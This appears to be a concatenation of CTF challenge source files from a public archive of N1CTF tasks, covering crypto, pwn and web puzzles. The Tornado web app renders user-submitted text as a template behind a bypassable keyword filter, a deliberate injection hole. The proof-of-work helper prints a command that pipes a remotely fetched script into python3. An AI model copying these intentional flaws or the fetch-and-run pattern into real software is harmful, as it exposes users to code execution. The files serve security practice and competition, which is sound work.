def check_nonce(nonce):
if nonce in Nonces:
return False
Nonces.add(nonce)
return True
def AES_decrypt(key, enc_data):
# key: aes_key || hmac_key
aes_key = key[:24]
hmac_key = key[24:]
# enc_data: iv || cipher || mac
iv, cipher, mac = enc_data[:16], enc_data[16:-16], enc_data[-16:]
aes = Cipher(algorithms.AES(aes_key), modes.CBC(iv))
decryptor = aes.decryptor()
data = decryptor.update(cipher) + decryptor.finalize()
# check padding
data = unpad(data)
if not data:
return None, "padding error"
# check hmac
cal_mac = iv + cipher
for _ in range(7777): # enhanced secure
h = hmac.HMAC(hmac_key, hashes.MD5())
h.update(cal_mac)
cal_mac = h.finalize()
if cal_mac != mac:
return None, "hmac error"
return data, None
def pad(pt):
pad_length = 16 - len(pt)%16
pt += bytes([pad_length]) * pad_length
return pt
def unpad(ct):
pad_length = ct[-1]
if pad(ct[:-pad_length]) == ct:
return ct[:-pad_length]
else:
return None
def login(username, password):
if username not in Users or Users[username] != cal_password_hash(password):
print("login failed...")
return
print(f"{username} login ok!")
echo_shell(username)
def register(username, password):
if username in Users or len(username) > 20:
print("register failed...")
else:
Users[username] = cal_password_hash(password)
print(f"{username} register ok!")
def echo_shell(username):
while True:
command = input(f"{username}@local> ")
if username == "admin" and command == "flag":
print(FLAG)
elif command == "exit":
exit(0)
else:
print(command)
def handle(envelope):
try:
envelope_json = json.loads(envelope)
key = RSA_decrypt(bytes.fromhex(envelope_json["rsa_data"]))
content, err = AES_decrypt(key, bytes.fromhex(envelope_json["aes_data"]))
if err:
print("Error!")
return
content = json.loads(content)
# check nonce
if not check_nonce(content["nonce"]):
print("Error!")
return
# check time
if not check_time(content["timestamp"]):
print("Error!")
return
# handle login/register
choice = content["choice"]
if choice == "login":
login(content["username"], content["password"])
elif choice == "register":
register(content["username"], content["password"])
else:
print("Error!")
except Exception as e:
print("Error!")
Users = {
# username:password_hash
"admin": "REACTED", # admin password obeys the strong password policy
"guest": cal_password_hash("guest")
}
def main():
print("Welcome to the n1ogin system!")
while True:
envelope = input("> ")
handle(envelope)
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2021/web/tornado/app.py | ctfs/N1CTF/2021/web/tornado/app.py | import tornado.ioloop
import tornado.web
import builtins
import unicodedata
import uuid
import os
import re
def filter(data):
data = unicodedata.normalize('NFKD',data)
if len(data) > 1024:
return False
if re.search(r'__|\(|\)|datetime|sys|import',data):
return False
for k in builtins.__dict__.keys():
if k in data:
return False
return True
class IndexHandler(tornado.web.RequestHandler):
def get(self):
self.render("templates/index.html",)
def post(self):
data = self.get_argument("data")
if not filter(data):
self.finish("no no no")
else:
id = uuid.uuid4()
f = open(f"uploads/{id}.html",'w')
f.write(data)
f.close()
try:
self.render(f"uploads/{id}.html",)
except:
self.finish("error")
os.unlink(f"uploads/{id}.html")
def make_app():
return tornado.web.Application([
(r"/", IndexHandler),
],compiled_template_cache=False)
if __name__ == "__main__":
app = make_app()
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2019/Part5-typechecker/pow_solver.py | ctfs/N1CTF/2019/Part5-typechecker/pow_solver.py | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
import hashlib, string, struct, sys
def solve_pow(chal, n):
r = 0
while True:
s = chal + struct.pack("<Q", r)
h = int(hashlib.sha256(s).hexdigest(), 16)
if h % (2 ** n) == 0:
break
r += 1
return r
if __name__ == '__main__':
if len(sys.argv) != 3:
print 'Usage: python pow.py chal n'
sys.exit(1)
result = solve_pow(sys.argv[1], int(sys.argv[2]))
print result
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2023/misc/guess_by_cyberutopian/files/pow.py | ctfs/N1CTF/2023/misc/guess_by_cyberutopian/files/pow.py | import hashlib
import os
def generate_proof_of_work(size,difficulty):
target = os.urandom(size).hex()
hash_value = hashlib.sha1(target.encode()).hexdigest()
return target[difficulty:],hash_value
def check_proof_of_work(prefix,suffix,expected):
return hashlib.sha1(f'{prefix}{suffix}'.encode()).hexdigest()==expected
def proof():
POW_SIZE=32
POW_DIFFICULTY=6
suff,hs=generate_proof_of_work(POW_SIZE,POW_DIFFICULTY)
print(f'sha1(prefix+"{suff}")=={hs}')
pref=input("prefix = ?\n")
if not check_proof_of_work(pref,suff,hs):
print("PoW error")
exit(1)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2023/misc/guess_by_cyberutopian/files/chal.py | ctfs/N1CTF/2023/misc/guess_by_cyberutopian/files/chal.py | #!/usr/bin/env python3
import os
import base64
import random
import subprocess
random.seed(os.urandom(32))
# Enjoy the music :)
SALT_DICT=base64.b64decode(b'aHR0cHM6Ly95LnFxLmNvbS9uL3J5cXEvc29uZ0RldGFpbC8wMDAyOTJXNjJvODd3Rg==')
def generate_salts():
num_salts=random.randint(1,16)
return [bytes(random.choices(SALT_DICT,k=random.randint(16,32))) for _ in range(num_salts)]
def generate_tmpflag():
return os.urandom(32).hex().encode()
# create mem buffer which contains dl file
chal_fd=os.memfd_create("chal")
chal_path=f'/proc/{os.getpid()}/fd/{chal_fd}'
chal_template=open("a.dl","r").read()
# compile and write dl file using given salts and your guess rules
def generate_dl(salts,guesser):
G=f'GUESS(x) :- {guesser}.'
S='\n'.join([f'SALT("{i.decode()}").' for i in salts])
compiled_chal=chal_template.replace('//GUESS',G).replace("//SALTS",S)
os.truncate(chal_fd,0)
os.pwrite(chal_fd,compiled_chal.encode(),0)
# run souffle and check your answer
def run_chal(TMPFLAG):
cmdline=f"timeout -s KILL 1s ./souffle -D- -lhash --no-preprocessor -w {chal_path}"
proc=subprocess.Popen(args=cmdline,shell=True,stdin=subprocess.DEVNULL,stdout=subprocess.PIPE,stderr=subprocess.STDOUT,env={"TMPFLAG":TMPFLAG})
proc.wait()
out=proc.stdout.read()
prefix=b'---------------\nGUESS\nans\n===============\n'
if not out.startswith(prefix):
raise RuntimeError(f'Souffle error? {out}')
out=out.removeprefix(prefix)[:64]
if out!=TMPFLAG:
raise RuntimeError(f"Wrong guess")
# check user guess rules
def check_user_rules(r:str):
if len(r) > 300:
raise RuntimeError("rule too looong")
e=r.encode()
ban_chars=b'Ff.'
for i in e:
if i>0x7f or i<0x20 or i in ban_chars:
raise RuntimeError("illegal char in rule")
# how many rounds will you guess
DIFFICULTY=36
def game():
user_rules=input("your rules?\n")
check_user_rules(user_rules)
for i in range(DIFFICULTY):
generate_dl(generate_salts(),user_rules)
run_chal(generate_tmpflag())
print(f"guess {i} is correct")
print("Congratulations! Here is your flag:")
os.system("/readflag")
from pow import proof
import signal
signal.alarm(25)
try:
if os.getenv("NOPOW") is None:
proof()
game()
except Exception as e:
print(e)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2023/pwn/n1sub/pow.py | ctfs/N1CTF/2023/pwn/n1sub/pow.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import base64
import os
import secrets
import socket
import sys
import hashlib
try:
import gmpy2
HAVE_GMP = True
except ImportError:
HAVE_GMP = False
sys.stderr.write("[NOTICE] Running 10x slower, gotta go fast? pip3 install gmpy2\n")
VERSION = 's'
MODULUS = 2**1279-1
CHALSIZE = 2**128
SOLVER_URL = 'https://goo.gle/kctf-pow'
def python_sloth_root(x, diff, p):
exponent = (p + 1) // 4
for i in range(diff):
x = pow(x, exponent, p) ^ 1
return x
def python_sloth_square(y, diff, p):
for i in range(diff):
y = pow(y ^ 1, 2, p)
return y
def gmpy_sloth_root(x, diff, p):
exponent = (p + 1) // 4
for i in range(diff):
x = gmpy2.powmod(x, exponent, p).bit_flip(0)
return int(x)
def gmpy_sloth_square(y, diff, p):
y = gmpy2.mpz(y)
for i in range(diff):
y = gmpy2.powmod(y.bit_flip(0), 2, p)
return int(y)
def sloth_root(x, diff, p):
if HAVE_GMP:
return gmpy_sloth_root(x, diff, p)
else:
return python_sloth_root(x, diff, p)
def sloth_square(x, diff, p):
if HAVE_GMP:
return gmpy_sloth_square(x, diff, p)
else:
return python_sloth_square(x, diff, p)
def encode_number(num):
size = (num.bit_length() // 24) * 3 + 3
return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8')
def decode_number(enc):
return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big')
def decode_challenge(enc):
dec = enc.split('.')
if dec[0] != VERSION:
raise Exception('Unknown challenge version')
return list(map(decode_number, dec[1:]))
def encode_challenge(arr):
return '.'.join([VERSION] + list(map(encode_number, arr)))
def get_challenge(diff):
x = secrets.randbelow(CHALSIZE)
return encode_challenge([diff, x])
def solve_challenge(chal):
[diff, x] = decode_challenge(chal)
y = sloth_root(x, diff, MODULUS)
return encode_challenge([y])
def can_bypass(chal, sol):
from ecdsa import VerifyingKey
from ecdsa.util import sigdecode_der
if not sol.startswith('b.'):
return False
sig = bytes.fromhex(sol[2:])
with open("/kctf/pow-bypass/pow-bypass-key-pub.pem", "r") as fd:
vk = VerifyingKey.from_pem(fd.read())
return vk.verify(signature=sig, data=bytes(chal, 'ascii'), hashfunc=hashlib.sha256, sigdecode=sigdecode_der)
def verify_challenge(chal, sol, allow_bypass=True):
if allow_bypass and can_bypass(chal, sol):
return True
[diff, x] = decode_challenge(chal)
[y] = decode_challenge(sol)
res = sloth_square(y, diff, MODULUS)
return (x == res) or (MODULUS - x == res)
def usage():
sys.stdout.write('Usage:\n')
sys.stdout.write('Solve pow: {} solve $challenge\n')
sys.stdout.write('Check pow: {} ask $difficulty\n')
sys.stdout.write(' $difficulty examples (for 1.6GHz CPU) in fast mode:\n')
sys.stdout.write(' 1337: 1 sec\n')
sys.stdout.write(' 31337: 30 secs\n')
sys.stdout.write(' 313373: 5 mins\n')
sys.stdout.flush()
sys.exit(1)
def main():
if len(sys.argv) != 3:
usage()
sys.exit(1)
cmd = sys.argv[1]
if cmd == 'ask':
difficulty = int(sys.argv[2])
if difficulty == 0:
sys.stdout.write("== proof-of-work: disabled ==\n")
sys.exit(0)
challenge = get_challenge(difficulty)
sys.stdout.write("== proof-of-work: enabled ==\n")
sys.stdout.write("please solve a pow first\n")
sys.stdout.write("You can run the solver with:\n")
sys.stdout.write(" python3 <(curl -sSL {}) solve {}\n".format(SOLVER_URL, challenge))
sys.stdout.write("===================\n")
sys.stdout.write("\n")
sys.stdout.write("Solution? ")
sys.stdout.flush()
solution = ''
with os.fdopen(0, "rb", 0) as f:
while not solution:
line = f.readline().decode("utf-8")
if not line:
sys.stdout.write("EOF")
sys.stdout.flush()
sys.exit(1)
solution = line.strip()
if verify_challenge(challenge, solution):
sys.stdout.write("Correct\n")
sys.stdout.flush()
sys.exit(0)
else:
sys.stdout.write("Proof-of-work fail")
sys.stdout.flush()
elif cmd == 'solve':
challenge = sys.argv[2]
solution = solve_challenge(challenge)
if verify_challenge(challenge, solution, False):
sys.stderr.write("Solution: \n".format(solution))
sys.stderr.flush()
sys.stdout.write(solution)
sys.stdout.flush()
sys.stderr.write("\n")
sys.stderr.flush()
sys.exit(0)
else:
usage()
sys.exit(1)
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2023/crypto/e2D1p/task.py | ctfs/N1CTF/2023/crypto/e2D1p/task.py | from Crypto.Util.number import *
import os
FLAG = os.environ.get('FLAG', b'n1ctf{XXXXFAKE_FLAGXXXX}')
assert FLAG[:6] == b'n1ctf{' and FLAG[-1:] == b'}'
FLAG = FLAG[6:-1]
def keygen(nbits):
while True:
q = getPrime(nbits)
if isPrime(2*q+1):
if pow(0x10001, q, 2*q+1) == 1:
return 2*q+1
def encrypt(key, message, mask):
return pow(0x10001, message^mask, key)
p = keygen(512)
flag = bytes_to_long(FLAG)
messages = [getRandomNBitInteger(flag.bit_length()) for i in range(200)]
enc = [encrypt(p, message, flag) for message in messages]
print(f'message = {messages}')
print(f'enc = {enc}') | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2023/crypto/e2sm4/util.py | ctfs/N1CTF/2023/crypto/e2sm4/util.py | from random import sample
i2l = lambda x: [(x >> 24) & 0xff, (x >> 16) & 0xff, (x >> 8) & 0xff, x & 0xff]
l2i = lambda x: (x[0] << 24)|(x[1] << 16)|(x[2] << 8)|x[3]
rotl32 = lambda x, n: ((x << n) & 0xffffffff) | ((x >> (32-n)) & 0xffffffff)
rotl8 = lambda x, n: ((x << n) & 0xff) | ((x >> (8-n)) & 0xff)
xor = lambda x, y: list(map(lambda a, b: a ^ b, x, y))
pad = lambda data, block=16: data + [16 - len(data) % block]*(16 - len(data) % block)
SM4_BOXES_TABLE = [
0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c,
0x05, 0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86,
0x06, 0x99, 0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed,
0xcf, 0xac, 0x62, 0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa,
0x75, 0x8f, 0x3f, 0xa6, 0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c,
0x19, 0xe6, 0x85, 0x4f, 0xa8, 0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb,
0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35, 0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25,
0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87, 0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52,
0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e, 0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38,
0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1, 0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34,
0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3, 0x1d, 0xf6, 0xe2, 0x2e, 0x82,
0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f, 0xd5, 0xdb, 0x37, 0x45,
0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51, 0x8d, 0x1b, 0xaf,
0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8, 0x0a, 0xc1,
0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0, 0x89,
0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84,
0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39,
0x48,
]
SM4_FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
SM4_CK = [
0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]
box = sample(SM4_BOXES_TABLE, 256)
Dance_Box = [box, sample(box, 256), box, sample(box, 256)]
def dance():
global Dance_Box
Dance_Box = Dance_Box[2:]+Dance_Box[:2]
def round_key(k):
ar = [SM4_BOXES_TABLE[i] for i in i2l(k)]
b = l2i(ar)
return b ^ rotl32(b, 13) ^ rotl32(b, 23)
def expand_key(master_key):
master_key = list(master_key)
MK = [l2i(master_key[:4]), l2i(master_key[4:8]),\
l2i(master_key[8:12]), l2i(master_key[12:])]
k = [0]*36
k[0:4] = xor(MK, SM4_FK)
for i in range(32):
k[i + 4] = k[i] ^ (round_key(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ SM4_CK[i]))
return k[4:]
def tfunc(bk):
ar = [SM4_BOXES_TABLE[i] for i in i2l(bk)]
b = l2i(ar)
return b ^ rotl32(b, 2) ^ rotl32(b, 10) ^ rotl32(b, 18) ^ rotl32(b, 24)
def pfunc(bk):
res = []
for i in range(4):
sbox = Dance_Box[i]
ar = [sbox[_] for _ in i2l(bk[i])]
b = [rotl8(ar[i], i+3) for i in range(4)]
res.append(l2i(b))
return res
def one_round(bk, rk, dt):
out = []
buf = [0]*36
buf[:4] = [l2i(bk[:4]), l2i(bk[4:8]), l2i(bk[8:12]), l2i(bk[12:])]
for i in range(32):
if dt == i:
dance()
buf[i+4] = buf[i] ^ tfunc(buf[i+1]^buf[i+2]^buf[i+3]^rk[i])
buf[i+1:i+5] = pfunc(buf[i+1:i+5])
dance()
for _ in range(4):
out += i2l(buf[-1-_])
return out
def crypt_ecb(pt, key, dance_time=-1):
pt = pad(list(pt))
rk = expand_key(key)
block = [pt[_:_+16] for _ in range(0, len(pt), 16)]
result = b''
for i in block:
result += bytes(one_round(i, rk, dt=dance_time))
return result | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2023/crypto/e2sm4/task.py | ctfs/N1CTF/2023/crypto/e2sm4/task.py | import util
import os
FLAG = os.environ.get('FLAG', 'n1ctf{XXXXFAKE_FLAGXXXX}')
key = os.urandom(16)
ct = []
for _ in range(5):
ct.append(util.crypt_ecb(FLAG.encode(), key, 31-_).hex())
print(f"Dance_Box = {util.Dance_Box}")
print(f"{ct = }")
"""
Dance_Box = [[46, 38, 43, 106, 114, 176, 12, 69, 1, 21, 82, 27, 184, 109, 170, 0, 179, 25, 4, 145, 33, 61, 66, 223, 85, 238, 22, 23, 59, 64, 19, 174, 180, 240, 111, 128, 187, 65, 72, 35, 77, 221, 157, 172, 13, 197, 44, 229, 226, 130, 220, 49, 198, 24, 103, 76, 39, 211, 191, 115, 165, 206, 30, 7, 98, 156, 205, 181, 89, 252, 58, 138, 253, 104, 212, 236, 54, 224, 166, 155, 118, 8, 93, 140, 28, 95, 225, 248, 80, 182, 112, 63, 192, 116, 47, 217, 91, 84, 144, 53, 124, 117, 16, 73, 218, 254, 188, 18, 11, 107, 222, 5, 52, 129, 194, 173, 81, 9, 137, 246, 242, 143, 175, 147, 74, 195, 41, 133, 207, 120, 92, 17, 164, 169, 171, 48, 241, 57, 31, 83, 55, 96, 29, 185, 68, 232, 70, 148, 243, 209, 100, 214, 37, 244, 219, 131, 203, 139, 126, 183, 167, 199, 101, 159, 50, 230, 168, 45, 149, 123, 119, 87, 134, 75, 127, 67, 250, 228, 247, 135, 113, 60, 62, 177, 150, 121, 162, 227, 142, 34, 178, 42, 15, 160, 161, 216, 235, 234, 163, 186, 154, 141, 233, 208, 78, 151, 204, 190, 86, 152, 245, 239, 108, 196, 158, 210, 99, 237, 251, 3, 40, 90, 125, 132, 36, 215, 193, 71, 255, 200, 102, 56, 32, 136, 146, 79, 97, 110, 249, 20, 202, 231, 122, 88, 94, 6, 153, 105, 14, 10, 2, 201, 189, 213, 51, 26], [246, 56, 103, 21, 181, 105, 216, 118, 145, 183, 169, 211, 27, 242, 190, 162, 237, 179, 244, 199, 206, 35, 120, 38, 95, 133, 25, 231, 3, 70, 40, 238, 223, 45, 127, 245, 4, 15, 250, 11, 52, 215, 142, 129, 167, 191, 61, 241, 188, 226, 249, 146, 221, 184, 104, 109, 157, 39, 176, 114, 236, 240, 254, 253, 251, 158, 198, 37, 42, 19, 87, 230, 153, 43, 77, 76, 208, 26, 32, 18, 150, 195, 122, 90, 80, 148, 197, 44, 83, 51, 166, 75, 88, 73, 64, 252, 20, 119, 46, 201, 196, 121, 222, 115, 22, 128, 164, 102, 97, 5, 217, 172, 177, 81, 58, 234, 168, 60, 29, 124, 147, 101, 224, 151, 130, 65, 98, 225, 155, 91, 108, 152, 140, 219, 9, 24, 189, 203, 138, 160, 59, 48, 193, 14, 69, 159, 233, 53, 135, 143, 33, 165, 41, 132, 57, 187, 227, 93, 200, 1, 0, 149, 137, 194, 23, 117, 170, 247, 17, 255, 92, 205, 47, 213, 136, 66, 2, 209, 6, 110, 78, 63, 28, 74, 235, 229, 30, 139, 154, 94, 131, 49, 86, 185, 163, 79, 68, 8, 72, 174, 99, 111, 141, 107, 210, 34, 207, 239, 106, 144, 228, 186, 89, 204, 55, 54, 171, 161, 100, 16, 13, 7, 50, 182, 112, 173, 212, 31, 214, 85, 156, 180, 175, 116, 248, 243, 36, 82, 134, 123, 220, 10, 125, 96, 67, 62, 12, 202, 126, 71, 84, 113, 232, 178, 192, 218], [46, 38, 43, 106, 114, 176, 12, 69, 1, 21, 82, 27, 184, 109, 170, 0, 179, 25, 4, 145, 33, 61, 66, 223, 85, 238, 22, 23, 59, 64, 19, 174, 180, 240, 111, 128, 187, 65, 72, 35, 77, 221, 157, 172, 13, 197, 44, 229, 226, 130, 220, 49, 198, 24, 103, 76, 39, 211, 191, 115, 165, 206, 30, 7, 98, 156, 205, 181, 89, 252, 58, 138, 253, 104, 212, 236, 54, 224, 166, 155, 118, 8, 93, 140, 28, 95, 225, 248, 80, 182, 112, 63, 192, 116, 47, 217, 91, 84, 144, 53, 124, 117, 16, 73, 218, 254, 188, 18, 11, 107, 222, 5, 52, 129, 194, 173, 81, 9, 137, 246, 242, 143, 175, 147, 74, 195, 41, 133, 207, 120, 92, 17, 164, 169, 171, 48, 241, 57, 31, 83, 55, 96, 29, 185, 68, 232, 70, 148, 243, 209, 100, 214, 37, 244, 219, 131, 203, 139, 126, 183, 167, 199, 101, 159, 50, 230, 168, 45, 149, 123, 119, 87, 134, 75, 127, 67, 250, 228, 247, 135, 113, 60, 62, 177, 150, 121, 162, 227, 142, 34, 178, 42, 15, 160, 161, 216, 235, 234, 163, 186, 154, 141, 233, 208, 78, 151, 204, 190, 86, 152, 245, 239, 108, 196, 158, 210, 99, 237, 251, 3, 40, 90, 125, 132, 36, 215, 193, 71, 255, 200, 102, 56, 32, 136, 146, 79, 97, 110, 249, 20, 202, 231, 122, 88, 94, 6, 153, 105, 14, 10, 2, 201, 189, 213, 51, 26], [206, 165, 193, 37, 187, 108, 248, 246, 44, 139, 152, 201, 173, 214, 77, 72, 97, 35, 70, 24, 3, 79, 178, 175, 30, 66, 18, 198, 114, 125, 32, 210, 180, 224, 235, 28, 62, 136, 149, 227, 82, 147, 90, 119, 85, 199, 126, 121, 51, 20, 88, 4, 75, 101, 38, 151, 109, 115, 110, 223, 43, 17, 146, 249, 226, 26, 222, 232, 87, 195, 200, 131, 245, 81, 113, 157, 220, 12, 16, 184, 204, 192, 84, 31, 197, 215, 129, 94, 93, 181, 218, 194, 65, 148, 158, 112, 221, 34, 25, 33, 243, 78, 10, 67, 209, 6, 252, 196, 237, 42, 172, 164, 161, 244, 111, 191, 46, 170, 128, 69, 183, 212, 60, 99, 8, 122, 49, 86, 247, 96, 179, 57, 135, 106, 0, 58, 100, 202, 55, 98, 1, 254, 53, 155, 156, 83, 132, 9, 19, 171, 48, 95, 166, 68, 22, 104, 7, 14, 142, 211, 213, 50, 150, 234, 182, 203, 217, 64, 185, 163, 73, 45, 41, 118, 103, 134, 186, 230, 241, 250, 52, 207, 162, 124, 140, 116, 167, 228, 92, 63, 47, 176, 239, 238, 5, 216, 225, 188, 137, 160, 80, 231, 102, 11, 89, 91, 59, 23, 240, 105, 153, 177, 138, 219, 174, 123, 36, 159, 76, 21, 56, 242, 61, 107, 133, 143, 154, 130, 233, 15, 145, 255, 13, 189, 120, 251, 236, 117, 208, 190, 169, 168, 74, 229, 54, 2, 39, 127, 29, 253, 141, 71, 205, 40, 144, 27]]
ct = ['e5a304ea2ffc53a1ff94337c2b2ae5368b46c6da3cc37f8438eb967b29249d4e', '6733baa353d4cfc4ff94337c58dc7fdbd6df83f4fbf6e5e838eb967b98d7e8d3', 'e77dbfe7868701fbd7072e6358dc7fdba067d296707bad1b0f4541dc98d7e8d3', '54b772d532556d5573a6ab667c9ff76857b5efc3b62130668e46a79b163138e4', '47339f6738dd9f4c9581fbd496dde76ea320d95b457e0373cddb910acc41fe35']
""" | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2025/crypto/n1fhe/task.py | ctfs/N1CTF/2025/crypto/n1fhe/task.py | import tenseal.sealapi as sealapi
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random, base64, os
FLAG = b"n1ctf{REDACTED}"
assert len(FLAG) == 48
degree = 4096
plain_modulus = sealapi.PlainModulus.Batching(degree, 18)
coeff = sealapi.CoeffModulus.BFVDefault(degree, sealapi.SEC_LEVEL_TYPE.TC128)
parms = sealapi.EncryptionParameters(sealapi.SCHEME_TYPE.BFV)
parms.set_poly_modulus_degree(degree)
parms.set_plain_modulus(plain_modulus)
parms.set_coeff_modulus(coeff)
ctx = sealapi.SEALContext(parms, True, sealapi.SEC_LEVEL_TYPE.TC128)
keygen = sealapi.KeyGenerator(ctx)
public_key = sealapi.PublicKey()
secret_key = keygen.secret_key()
keygen.create_public_key(public_key)
encryptor = sealapi.Encryptor(ctx, public_key)
decryptor = sealapi.Decryptor(ctx, secret_key)
encoder = sealapi.BatchEncoder(ctx)
def generate_poly():
msg = [random.randint(0, 255) for _ in range(degree)]
poly = f'{hex(msg[0])[2:]}'
for i in range(1, len(msg)):
if msg[i]: poly = f'{hex(msg[i])[2:]}x^{i} + {poly}'
return sealapi.Plaintext(poly)
def print_enc(ct):
ct.save("ct")
print("[enc]", base64.b64encode(open("ct",'rb').read()).decode())
SLOTS = sorted(random.sample(range(0, degree), 16))
key = os.urandom(16)
M = [0 if i not in SLOTS else key[SLOTS.index(i)] for i in range(0, degree)]
plain, key_enc = sealapi.Plaintext(), sealapi.Ciphertext()
encoder.encode(M, plain)
encryptor.encrypt(plain, key_enc)
print_enc(key_enc)
for _ in range(32):
opt = input("[?] ")
if opt == "E":
ct = sealapi.Ciphertext()
encryptor.encrypt(generate_poly(), ct)
print_enc(ct)
elif opt == "D":
open("dec", 'wb').write(base64.b64decode(input("[b64] ")))
ct = sealapi.Ciphertext(ctx)
ct.load(ctx, "dec")
pt = sealapi.Plaintext()
decryptor.decrypt(ct, pt)
print("[*]", pt[0])
else: break
print("[+]", AES.new(key, AES.MODE_CTR).encrypt(pad(FLAG, 16)).hex()) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2025/crypto/n1share/task.py | ctfs/N1CTF/2025/crypto/n1share/task.py | from Crypto.Cipher import AES
import random, os, hashlib
FLAG = b"n1ctf{REDACTED}"
p = 521
drunk = random.sample(range(1, p), 300)
key = os.urandom(256)
shares = []
for x in range(1, p):
y = [sum(c*pow(x,i,p) for i,c in enumerate(key[:128])),
